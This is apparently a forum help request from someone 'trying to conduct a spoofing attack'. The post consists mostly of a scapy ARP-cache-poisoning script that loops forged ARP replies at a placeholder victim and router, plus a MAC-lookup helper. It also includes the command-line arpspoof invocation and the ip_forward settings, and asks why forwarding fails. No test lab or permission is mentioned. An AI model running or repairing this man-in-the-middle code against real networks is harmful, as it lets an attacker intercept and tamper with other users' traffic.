I am trying to conduct a spoofing attack using scapy. Here is my code:
import scapy.all as scapy
from scanner import scan
#NOTE: The scanner module takes in an IP Address and finds the
#corresponding Mac Address for it.
def spoof(target_ip, spoof_ip, mac_address) :
packet = scapy.ARP(op = 2, pdst = target_ip, hwdst=mac_address,psrc=spoof_ip)
scapy.send(packet, verbose = False)
router_mac_address = scan(<router's_ip>)
target_mac_address = scan(<victim's_ip>)
while True :
spoof(<victim's_ip>, <router's_ip>, target_mac_address)
spoof(<router's_ip>, <victim's_ip>, router_mac_address)
time.sleep(2)
I enable ip forwarding by typing: echo 1 > /proc/sys/net/ipv4/ip_forward
in the terminal. It does not work. The webpages aren't loading, the websites aren't responding, and I have no idea what to do. I have also tried typing this command: echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
, and still, it does not work. The webpages are not responding on any device I try.
I should add that when I run an arp - spoofing attack using the command line (arpspoof -i eth0 -t <router's ip> <victim's ip>
) while enabling ip_forwarding, everything works fine, and the pages load.
What am I doing wrong here?? Why aren't the IP's being forwarded??
EDIT: Here is scanner.py, in case the problem might be there:
import scapy.all as scapy
def scan(ip) :
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
ans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
mac = ans[0][1].hwsrc
return mac